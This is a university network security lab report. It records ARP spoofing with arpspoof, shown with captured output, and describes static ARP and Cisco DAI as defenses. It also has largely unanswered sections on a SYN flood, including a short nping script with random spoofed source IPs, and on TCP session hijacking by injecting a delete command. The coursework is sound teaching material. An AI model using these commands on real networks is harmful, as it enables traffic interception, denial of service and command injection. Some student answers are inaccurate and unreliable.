UNIVERSITY OF BATNA 2

Faculty of Mathematics and Computer Science

Department of Computer Science

4th year Engineers: Security

NETWORK SECURITY

Lab Report Student(s): Boulgamh Lahcen Nidhal

General Instructions

For each TP, you must submit a **lab report containing:**

1. **Screenshots of your experiments**
2. **Answers to the questions**
3. **Short explanations of what you observed**

Screenshot Rules

Each screenshot must include:

- the **terminal command**
- the **output**
- the **machine name (client, server, attacker, etc.)**

Example screenshot types:

- Wireshark capture
- Terminal command output
- Attack results

TP2 Report — ARP Spoofing and MITM

Part 1 — Network Discovery

Screenshot 1

Run the following command from the attacker machine:

nmap <webserver-IP>

Provide a screenshot showing the detected services.

```
ubuntu@attacker:~$ ping 172.35.0.3
PING 172.35.0.3 (172.35.0.3) 56(84) bytes of data.
64 bytes from 172.35.0.3: icmp_seq=1 ttl=63 time=0.324 ms
64 bytes from 172.35.0.3: icmp_seq=2 ttl=63 time=0.258 ms
64 bytes from 172.35.0.3: icmp_seq=3 ttl=63 time=0.316 ms
^C
--- 172.35.0.3 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 206
1ms
rtt min/avg/max/mdev = 0.258/0.299/0.324/0.029 ms
ubuntu@attacker:~$ nmap 172.35.0.3
Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-11 00:42
 UTC
Nmap scan report for 172.35.0.3
Host is up (0.00044s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.20 second
s
ubuntu@attacker:~$
```

Question 1

Which services are running on the server?

The service runing in the the server is http at port 80

Question 2

Why does an attacker perform reconnaissance before launching an attack?

The reconnaissance is the first step and the attacker must start with it before launching attack Because the reconnaissance tell him wich possible dor (port) are oppening and wich services run in the server wich might be vulnerable so he can exploit them

---

Part 2 — Traffic Observation

Start Wireshark on the attacker machine.

I gote problem with wireshark of display the interface so i use tcpdump instead

```
ubuntu@attacker:~$ sudo tcpdump -i eth0
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture siz
e 262144 bytes
```

From the client machine execute:

wget 172.35.0.3

```
ubuntu@user:~$ wget 172.35.0.3
--2026-04-11 01:26:32--  http://172.35.0.3/
Connecting to 172.35.0.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 908 [text/html]
Saving to: 'index.html'

index.html     100%     908  --.-KB/s    in 0s

2026-04-11 01:26:32 (70.3 MB/s) - 'index.html' saved [908/9
08]

ubuntu@user:~$
```

Screenshot 2

Provide a screenshot of Wireshark **before the attack**.

```
ubuntu@attacker:~$ sudo tcpdump -i eth0
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture siz
e 262144 bytes
```

Question 3

Can the attacker see the full communication?
Explain why.

No the attacker can just the packet (frame) the contine the MAC @ of his NIC and the hardware will ignore the other packets also there is no port mirroring applied (there is no switch)

Part 3 — ARP Spoofing Attack

Execute the ARP spoofing attack.

Commands executed on the attacker:

arpspoof -t 172.25.0.2 172.25.0.3
arpspoof -t 172.25.0.3 172.25.0.2

Screenshot 3

Provide a screenshot of the running **arpspoof command**.

```
ubuntu@attacker:~$ sudo  arpspoof  -t 172.25.0.2 172.25.0.3
2:42:ac:19:0:4 2:42:ac:19:0:2 0806 42: arp reply 172.25.0.3
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:2 0806 42: arp reply 172.25.0.3
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:2 0806 42: arp reply 172.25.0.3
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:2 0806 42: arp reply 172.25.0.3
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:2 0806 42: arp reply 172.25.0.3
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:2 0806 42: arp reply 172.25.0.3
```

```
ubuntu@attacker:~$  arpspoof  -t 172.25.0.3 172.25.0.2
arpspoof: libnet_open_link(): UID/EUID 0 or capability CAP_
NET_RAW required
ubuntu@attacker:~$ sudo !!
sudo  arpspoof  -t 172.25.0.3 172.25.0.2
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
2:42:ac:19:0:4 2:42:ac:19:0:3 0806 42: arp reply 172.25.0.2
 is-at 2:42:ac:19:0:4
```

Screenshot 4

Capture the attack traffic in **Wireshark**.

```
ubuntu@attacker:~$ sudo tcpdump -i eth0
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture siz
e 262144 bytes
06:40:30.987468 ARP, Reply arp-spoof.gateway.student.local_
network is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:31.814340 ARP, Reply arp-spoof.user.student.local_net
work is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:32.989294 ARP, Reply arp-spoof.gateway.student.local_
network is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:33.815311 ARP, Reply arp-spoof.user.student.local_net
work is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:34.990508 ARP, Reply arp-spoof.gateway.student.local_
network is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:35.816630 ARP, Reply arp-spoof.user.student.local_net
work is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:36.991263 ARP, Reply arp-spoof.gateway.student.local_
network is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:37.818266 ARP, Reply arp-spoof.user.student.local_net
work is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:38.991829 ARP, Reply arp-spoof.gateway.student.local_
network is-at 02:42:ac:19:00:04 (oui Unknown), length 28
06:40:39.819786 ARP, Reply arp-spoof.user.student.local_net
```

Question 4

Explain how ARP spoofing allows a Man-in-the-Middle attack.

The ARP sppofing allow MITM by send a manplauted apr response that make the request pass to the attacker (the getway thik the attacker is the clint and the client think the attacker is the getway)

Part 4 — ARP Table Verification

On both machines:

arp -n

Screenshot 5

Client ARP table.

```
ubuntu@user:~$ arp -n
Address                  HWtype  HWaddress           Flags
Mask             Iface
172.25.0.4               ether   02:42:ac:19:00:04   C
                 eth0
172.25.0.3               ether   02:42:ac:19:00:04   C
                 eth0
```

Screenshot 6

Gateway ARP table.

```
ubuntu@gateway:~$ arp -n
Address                  HWtype  HWaddress           Flags
Mask             Iface
172.35.0.3               ether   02:42:ac:23:00:03   C
                 eth1
172.25.0.101             ether   02:42:76:3b:45:42   C
                 eth0
172.25.0.2               ether   02:42:ac:19:00:04   C
                 eth0
172.25.0.4               ether   02:42:ac:19:00:04   C
                 eth0
```

Question 5

What change do you observe in the ARP table?

I observ the the attacker ip become map in 2 different MAC @ wich is evidence of ARP spoofing secusess

---

Part 5 — Defense Mechanism

Manually add static ARP entries.

Example:

arp -s <gateway-IP> <gateway-MAC>

Screenshot 7

Static ARP configuration.

In the client side

```
ubuntu@user:~$ sudo arp -s 172.25.0.3 02:42:ac:19:00:04
ubuntu@user:~$
```

In the getway side

```
ubuntu@gateway:~$ sudo arp -s 172.25.0.2 02:42:ac:19:00:04
ubuntu@gateway:~$
```

Question 6

Why does static ARP prevent ARP spoofing?

Because it relly in the administrator and he will configure the arp table corectly and escape the wrong arp request by attackers

---

Question 7

Explain the concept of **Cisco Dynamic ARP Inspection (DAI)**.

Cisco Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets by intercepting them and checking their IP-to-MAC bindings against a trusted database (DHCP Snooping).

TP3 Report — SYN Flooding Attack

Part 1 — Service Discovery

Run:

nmap -sS 172.25.0.2

Screenshot 1

Detected services.

```
ubuntu@attacker:~$ nmap -sS 172.25.0.2
You requested a scan type which requires root privileges.
QUITTING!
ubuntu@attacker:~$ sudo nmap -sS 172.25.0.2

Starting Nmap 7.01 ( https://nmap.org ) at 2026-04-12 07:54
 UTC
mass_dns: warning: Unable to determine any DNS servers. Rev
erse DNS is disabled. Try using --system-dns or specify val
id servers with --dns-servers
Nmap scan report for 172.25.0.2
Host is up (0.00017s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
23/tcp open  telnet
MAC Address: 02:42:AC:19:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.28 seconds
ubuntu@attacker:~$
```

Question 1

Which service is targeted during the attack?

Part 2 — Disable SYN Cookies

Execute on server:

sysctl -w net.ipv4.tcp_syncookies=0

Screenshot 2

Command output.

Question 2

What is the role of **SYN cookies** in TCP security?

Part 3 — Backlog Queue

Check backlog size:

sysctl net.ipv4.tcp_max_syn_backlog

Screenshot 3

Backlog value.

Question 3

What happens if the backlog queue becomes full?

Part 4 — Attack Script

Create the attack script:

nano x.sh

Script content:

```
for i in {1..100}
do
nping --tcp -p 23 --flags syn --source-ip rand -c 1 <server-IP>
done
```

Screenshot 4

Script content.

Screenshot 5

Attack execution.

Question 4

Why does the attacker use **random source IP addresses**?

Part 5 — Attack Observation

Check server connections:

netstat -na | grep SYN_RECV

Screenshot 6

Half-open connections.

Question 5

What does the **SYN_RECV** state represent?

Part 6 — Attack success

Screenshot 7

Provide the screenshot that the client couldn’t access telnet

---

Question 6

Why does enabling SYN cookies mitigate the attack?

TP4 Report — TCP Session Hijacking

Part 1 — Service Discovery

Run:

nmap server

Screenshot 1

Detected services.

Question 1

Why is **Telnet insecure**?

Part 2 — Prepare the Target

Create the file on the server:

touch deleteme.txt

Screenshot 2

File creation.

Part 3 — Wireshark Monitoring

Start Wireshark on the server.

Screenshot 3

TCP traffic capture.

Question 2

What information can an attacker obtain by sniffing TCP packets?

Part 4 — Payload Preparation

On the attacker machine:

./hexify.py "rm deleteme.txt"

Screenshot 4

Hex payload.

Question 3

Why must the payload be converted to hexadecimal?

Part 5 — TCP Injection

Execute the injection using **nping**.

Screenshot 5

Attack command.

Screenshot 6

Injected packet visible in Wireshark.

Part 6 — Attack Verification

On the server:

ls

Screenshot 7

Verify whether **deleteme.txt** exists.

Question 4

Explain why the server accepts the forged packet.

Question 5

Which TCP fields must be correct for the attack to succeed?